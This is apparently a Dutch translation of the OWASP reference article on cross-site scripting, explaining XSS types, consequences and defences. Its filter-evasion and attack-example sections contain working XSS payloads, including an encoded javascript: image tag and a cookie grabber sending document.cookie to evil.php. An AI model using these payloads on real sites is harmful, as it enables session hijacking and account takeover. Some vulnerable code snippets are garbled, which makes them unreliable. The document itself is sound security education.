Heading

Overzicht

Cross-Site Scripting (XSS)-aanvallen zijn een vorm van injectie, waarbij schadelijke scripts worden geïnjecteerd in websites die anders goedaardig en vertrouwd zouden zijn. XSS-aanvallen doen zich voor wanneer een aanvaller een webapplicatie gebruikt om kwaadaardige code, meestal in de vorm van een browser-side script, naar een andere eindgebruiker te sturen. Fouten die deze aanvallen mogelijk maken zijn vrij wijdverbreid en doen zich overal voor waar een webapplicatie input van een gebruiker gebruikt in de output die het genereert, zonder deze te valideren of te coderen.

Een aanvaller kan XSS gebruiken om een kwaadaardig script naar een nietsvermoedende gebruiker te sturen. De browser van de eindgebruiker kan op geen enkele manier weten dat het script niet vertrouwd moet worden, en zal het script uitvoeren. Omdat het denkt dat het script van een betrouwbare bron afkomstig is, kan het kwaadaardige script toegang krijgen tot cookies, sessietokens of andere gevoelige informatie die door de browser wordt bewaard en met die site wordt gebruikt. Deze scripts kunnen zelfs de inhoud van de HTML-pagina herschrijven. Voor meer details over de verschillende soorten XSS-fouten, zie: Soorten Cross-Site Scripting.

Hoe Cross-site scripting kwetsbaarheden te vermijden

• XSS (Cross Site Scripting) Prevention Cheat Sheet
• DOM based XSS Prevention Cheat Sheet
• OWASP Development Guide artikel over Data Validation
• OWASP Development Guide artikel over Phishing

Hoe code te beoordelen op Cross-site scripting kwetsbaarheden

Zie de OWASP Code Review Guide.

Hoe te testen op Cross-site scripting kwetsbaarheden

Zie het nieuwste OWASP Test Guide artikel over hoe te testen op de verschillende soorten XSS kwetsbaarheden.

• Testing_for_Reflected_Cross_site_scripting
• Testing_for_Stored_Cross_site_scripting
• Testing_for_DOM-based_Cross_site_scripting

Description

Cross-Site Scripting (XSS) aanvallen treden op wanneer:

1. Gegevens komen een webapplicatie binnen via een onbetrouwbare bron, meestal een webverzoek.
2. De gegevens zijn opgenomen in dynamische inhoud die naar een webgebruiker wordt gestuurd zonder dat deze is gevalideerd op schadelijke inhoud.

De schadelijke inhoud die naar de webbrowser wordt gestuurd, heeft vaak de vorm van een JavaScript-segment, maar kan ook HTML, Flash of een ander type code bevatten die de browser kan uitvoeren. De variëteit aan aanvallen op basis van XSS is vrijwel onbeperkt, maar ze omvatten meestal het verzenden van privégegevens, zoals cookies of andere sessie-informatie, naar de aanvaller, het omleiden van het slachtoffer naar webinhoud die door de aanvaller wordt beheerd, of het uitvoeren van andere kwaadaardige handelingen op de computer van de gebruiker onder het mom van de kwetsbare site.

Opgeslagen en gereflecteerde XSS-aanvallen

XSS-aanvallen kunnen over het algemeen worden ingedeeld in twee categorieën: opgeslagen en gereflecteerd. Er is een derde, veel minder bekende soort XSS-aanval, DOM Based XSS genaamd, die hier apart wordt besproken.

Stored XSS Attacks

Stored attacks zijn aanvallen waarbij het geïnjecteerde script permanent op de doelservers wordt opgeslagen, zoals in een database, in een berichtenforum, bezoekerslogboek, commentaarveld, enzovoort. Het slachtoffer haalt vervolgens het kwaadaardige script op van de server wanneer het de opgeslagen informatie opvraagt. Opgeslagen XSS wordt ook wel persistent of Type-I XSS genoemd.

Reflected XSS-aanvallen

Reflected aanvallen zijn aanvallen waarbij het geïnjecteerde script van de webserver af wordt gereflecteerd, bijvoorbeeld in een foutmelding, zoekresultaat of een ander antwoord dat (een deel van) de invoer bevat die naar de server is gestuurd als onderdeel van het verzoek. Gereflecteerde aanvallen worden via een andere route bij de slachtoffers afgeleverd, bijvoorbeeld in een e-mailbericht of op een andere website. Wanneer een gebruiker op een kwaadaardige link klikt, een speciaal formulier invult of zelfs alleen maar naar een kwaadaardige site surft, gaat de geïnjecteerde code naar de kwetsbare website, die de aanval terugstuurt naar de browser van de gebruiker. De browser voert de code vervolgens uit omdat deze van een “vertrouwde” server afkomstig is. Reflected XSS wordt ook wel aangeduid als Non-Persistent of Type-II XSS.

Andere typen XSS-vlekken

Naast Stored en Reflected XSS is er nog een ander type XSS, DOM Based XSS, geïdentificeerd door Amit Klein in 2005. OWASP beveelt de XSS-categorisering aan zoals beschreven in het OWASP artikel:Types of Cross-Site Scripting, dat al deze XSS-termen behandelt en ze organiseert in een matrix van Stored vs. Reflected XSS en Server vs. Client XSS, waarbij DOM Based XSS een subset is van ClientXSS.

XSS-aanval Gevolgen

Het gevolg van een XSS-aanval is hetzelfde, ongeacht of deze is opgeslagen of gereflecteerd (of DOM Based). Het verschil zit hem in de manier waarop de payload bij de server aankomt. Laat u niet misleiden door te denken dat een “alleen-lezen” of “brochureware” site niet kwetsbaar is voor ernstige gereflecteerde XSS-aanvallen. XSS kan voor de eindgebruiker allerlei problemen veroorzaken die in ernst variëren van ergernis tot het in gevaar brengen van een account. Bij de ernstigste XSS-aanvallen werd de sessiecookie van de gebruiker onthuld, waardoor een aanvaller de sessie van de gebruiker kon kapen en de account kon overnemen. Andere schadelijke aanvallen zijn de openbaarmaking van eindgebruikersbestanden, de installatie van Trojaanse paardenprogramma’s, het omleiden van de gebruiker naar een andere pagina of site, of het wijzigen van de presentatie van inhoud. Een XSS-kwetsbaarheid waardoor een aanvaller een persbericht of nieuwsitem kan wijzigen, kan de aandelenkoers van een bedrijf aantasten of het vertrouwen van de consument aantasten. Een XSS-kwetsbaarheid op een farmaceutische website zou een aanvaller in staat kunnen stellen om doseringsinformatie te wijzigen, met een overdosis als gevolg. Voor meer informatie over dit soort aanvallen, zieContent_Spoofing.

Hoe te bepalen of u kwetsbaar bent

XSS-fouten kunnen moeilijk te identificeren zijn en moeilijk uit een webapplicatie te verwijderen zijn. De beste manier om fouten te vinden is de code te controleren en te zoeken naar alle plaatsen waar input van een HTTP-verzoek mogelijk in de HTML-uitvoer terecht kan komen. Merk op dat een groot aantal verschillende HTML-tags kan worden gebruikt om een kwaadaardig JavaScript te verzenden. Nessus, Nikto en andere beschikbare programma’s kunnen helpen bij het scannen van een website op deze zwakke plekken, maar kunnen slechts de oppervlakte schrapen. Als een deel van een website kwetsbaar is, is de kans groot dat er ook andere problemen zijn.

Hoe jezelf te beschermen

De primaire verdediging tegen XSS staat beschreven in de OWASP XSS Prevention CheatSheet.

Ook is het van cruciaal belang dat je HTTP TRACE ondersteuning op alle webservers uitschakelt. Een aanvaller kan cookiegegevens stelen via Javascript, zelfs als document.cookie is uitgeschakeld of niet wordt ondersteund door de client. Deze aanval wordt uitgevoerd wanneer een gebruiker een kwaadaardig script op een forum plaatst, zodat wanneer een andere gebruiker op de link klikt, een asynchrone HTTP Trace aanroep wordt getriggerd die de cookie informatie van de gebruiker van de server verzamelt, en deze dan doorstuurt naar een andere kwaadaardige server die de cookie informatie verzamelt zodat de aanvaller een sessie hijack aanval kan uitvoeren.Dit kan eenvoudig worden voorkomen door HTTP TRACE op alle webservers te verwijderen.

Het OWASP ESAPI project heeft een set herbruikbare beveiligingscomponenten in verschillende talen geproduceerd, waaronder validatie en escaping routines om het knoeien met parameters en het injecteren van XSS aanvallen te voorkomen. Daarnaast heeft de OWASP WebGoat Project trainingapplicatie lessen over Cross-Site Scripting en data-encodering.

Alternatieve XSS Syntax

XSS met Script in Attributen

XSS aanvallen kunnen worden uitgevoerd zonder gebruik te maken van <script>...</script>tags. Andere tags zullen precies hetzelfde doen, bijvoorbeeld:<body onload=alert('test1')> of andere attributen zoals: onmouseoveronerror.

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

XSS met behulp van script via gecodeerde URI-schema’s

Als we ons moeten verbergen tegen filters van webtoepassingen, kunnen we proberen om tekens te coderen, bijv.g.: a=&\#X41 (UTF-8) en deze gebruiken in IMG tags:

<IMG SRC=j&#X41vascript:alert('test2')>

Er zijn veel verschillende UTF-8 coderingsnotaties wat ons nog meer mogelijkheden geeft.

XSS met behulp van code-codering

We kunnen ons script in base64 coderen en het in META tag plaatsen. Op deze manier raken we alert() helemaal kwijt. Meer informatie over deze methode is te vinden in RFC 2397

<META HTTP-EQUIV="refresh"CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

Deze en andere voorbeelden zijn te vinden op het OWASP XSS Filter Evasion Cheat Sheet, dat een waarheidsgetrouwe handleiding is voor de alternatieve XSS-syntaxaanval.

Voorbeelden

Cross-site scripting aanvallen kunnen overal voorkomen waar mogelijk kwaadwillende gebruikers ongereguleerd materiaal op een vertrouwde website mogen plaatsen voor consumptie door andere, geldige gebruikers.

Het meest voorkomende voorbeeld is te vinden in bulletin-board-websites die een webgebaseerde mailinglist-achtige functionaliteit bieden.

Voorbeeld 1

Het volgende JSP-code-segment leest een werknemers-ID, eid, uit een HTTP-request en toont dit aan de gebruiker.

<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>

De code in dit voorbeeld werkt correct als eid alleen standaard alfanumerieke tekst bevat. Als eid een waarde bevat die metatekens of broncode bevat, dan zal de code door de webbrowser worden uitgevoerd wanneer deze de HTTP-respons weergeeft.

Op het eerste gezicht lijkt dit misschien niet zo’n kwetsbaarheid te zijn. Immers, waarom zou iemand een URL invoeren die kwaadaardige code op zijn eigen computer laat draaien? Het echte gevaar is dat een aanvaller een schadelijke URL aanmaakt en dan e-mail of social engineering trucs gebruikt om slachtoffers te lokken om een link naar de URL te bezoeken. Wanneer slachtoffers op de link klikken, weerkaatsen zij onbewust de schadelijke inhoud via de kwetsbare webapplicatie terug naar hun eigen computer. Dit mechanisme om kwetsbare webapplicaties uit te buiten staat bekend als Reflected XSS.

Exemplaar 2

Het volgende JSP-code-segment zoekt in een database naar een werknemer met een gegeven ID en drukt de bijbehorende naam van de werknemer af.

<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp wherename");%>Employee Name: <%= name %>

Zoals in voorbeeld 1 werkt deze code correct als de waarden van de naam zich goed gedragen, maar het doet niets om exploits te voorkomen als dat niet het geval is. Nogmaals, deze code kan minder gevaarlijk lijken omdat de waarde van naam wordt gelezen uit een database, waarvan de inhoud blijkbaar wordt beheerd door de toepassing. Echter, als de waarde van naam afkomstig is van door de gebruiker verstrekte gegevens, dan kan de database een kanaal zijn voor kwaadaardige inhoud. Zonder de juiste invoervalidatie van alle gegevens die in de database zijn opgeslagen, kan een aanvaller kwaadaardige commando’s uitvoeren in de webbrowser van de gebruiker. Dit type aanval, bekend als Stored XSS, is bijzonder verraderlijk omdat de ondoorzichtigheid van de gegevensopslag het moeilijker maakt de bedreiging te identificeren en de kans vergroot dat de aanval meerdere gebruikers treft. XSS is in deze vorm begonnen met websites die bezoekers een “gastenboek” aanboden. Aanvallers voegden JavaScript toe aan hun gastenboek en alle volgende bezoekers van de gastenboekpagina voerden de kwaadaardige code uit.

Zoals uit de voorbeelden blijkt, worden XSS-kwetsbaarheden veroorzaakt door code die ongeldige gegevens in een HTTP-respons opneemt. Er zijn drie vectoren waarmee een XSS-aanval een slachtoffer kan bereiken:

• Zoals in voorbeeld 1 worden gegevens direct uit het HTTP-verzoek gelezen en teruggekaatst in de HTTP-respons. Bij gereflecteerde XSS-exploits zorgt een aanvaller ervoor dat een gebruiker gevaarlijke inhoud aan een kwetsbare webapplicatie levert, die vervolgens naar de gebruiker wordt teruggekoppeld en door de webbrowser wordt uitgevoerd. Het meest gebruikelijke mechanisme voor het leveren van kwaadaardige inhoud is deze op te nemen als parameter in een URL die openbaar wordt gemaakt of rechtstreeks naar slachtoffers wordt gemaild. URL’s die op deze manier zijn samengesteld, vormen de kern van veel phishingschema’s, waarbij een aanvaller slachtoffers overhaalt een URL te bezoeken die naar een kwetsbare site verwijst. Nadat de site de inhoud van de aanvaller naar de gebruiker heeft teruggekoppeld, wordt de inhoud uitgevoerd en wordt privé-informatie, zoals cookies die informatie over de gebruiker kunnen bevatten, van de computer van de gebruiker naar de aanvaller overgebracht of worden andere snode activiteiten uitgevoerd.
• Net als in voorbeeld 2 slaat de toepassing gevaarlijke gegevens op in een database of een andere vertrouwde gegevensopslag. De gevaarlijke gegevens worden vervolgens teruggelezen in de toepassing en opgenomen in dynamische inhoud. Misbruik van opgeslagen XSS doet zich voor wanneer een aanvaller gevaarlijke inhoud in een gegevensopslagplaats injecteert die later wordt gelezen en in dynamische inhoud wordt opgenomen. Vanuit het oogpunt van een aanvaller is de optimale plaats om kwaadaardige inhoud te injecteren een gebied dat wordt weergegeven aan ofwel veel gebruikers ofwel bijzonder interessante gebruikers. Interessante gebruikers hebben meestal hogere privileges in de applicatie of werken met gevoelige gegevens die waardevol zijn voor de aanvaller. Als een van deze gebruikers kwaadaardige inhoud uitvoert, kan de aanvaller mogelijk geprivilegieerde handelingen uitvoeren namens de gebruiker of toegang krijgen tot gevoelige gegevens van de gebruiker.
• Een bron buiten de applicatie slaat gevaarlijke gegevens op in een database of andere gegevensopslag, en de gevaarlijke gegevens worden vervolgens teruggelezen in de applicatie als vertrouwde gegevens en opgenomen in dynamische inhoud.

Aanvalsvoorbeelden

Voorbeeld 1: Cookie Grabber

Als de applicatie de invoergegevens niet valideert, kan de aanvaller eenvoudig een cookie stelen van een geauthenticeerde gebruiker. Het enige wat de aanvaller hoeft te doen, is de volgende code in een geposte invoer te plaatsen (bijv. messageboards, privéberichten, gebruikersprofielen):

<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>

De bovenstaande code geeft een geëscaped cookie-inhoud (volgens de RFC moet inhoud worden geëscaped voordat deze via het HTTP-protocol met de GET-methode wordt verzonden) door aan het evil.php-script in de variabele “cakemonster”. De aanvaller controleert vervolgens de resultaten van zijn evil.php script (een cookie grabber script zal gewoonlijk de cookie naar een bestand schrijven) en gebruikt het.

Error Page Example

Laten we aannemen dat we een error pagina hebben, die aanvragen behandelt voor een niet bestaande pagina, een klassieke 404 error pagina. We kunnen de onderstaande code als voorbeeld gebruiken om de gebruiker te informeren over welke specifieke pagina ontbreekt:

<html><body><? phpprint "Not found: " . urldecode($_SERVER);?></body></html>

Laten we eens kijken hoe het werkt: http://testsite.test/file_which_not_existIn antwoord krijgen we: Not found: /file_which_not_exist

Nu gaan we proberen om de foutpagina te forceren om onze code op te nemen: http://testsite.test/<script>alert("TEST");</script>Het resultaat is: Not found: / (but with JavaScript code <script>alert("TEST");</script>)

We hebben met succes de code geïnjecteerd, onze XSS! Wat betekent dat? Bijvoorbeeld, dat we deze fout kunnen gebruiken om het sessiecookie van een gebruiker te stelen.

• XSS-aanvallen
• Invoeden van onvertrouwde mobiele code
• Cross Site History Manipulation (XSHM)

• Onjuiste gegevensvalidatie
• Typen van Cross-Site Scripting
• Artikel in deOWASP Ontwikkelingsgids over gegevensvalidatie
• Artikel in deOWASP Ontwikkelingsgids over phishing

• Gegevensvalidatie

• OWASP’s XSS (Cross Site Scripting) Prevention Cheat Sheet
• Testing_for_Reflected_Cross_site_scripting
• Testing_for_Stored_Cross_site_scripting
• Testing_for_DOM-based_Cross_site_scripting
• The Cross Site Scripting FAQ
• OWASP XSS Filter Evasion Cheat Sheet
• CERT Advisory on Malicious HTML Tags
• CERT “Understanding Malicious Content Mitigation
• Understanding the cause and effect of CSS Vulnerabilities
• XSSed – Cross-Site Scripting (XSS) Informatie en Spiegelarchief van Kwetsbare Websites

Categorie:InjectieCategorie:OWASP Top Ten ProjectCategorie:Aanval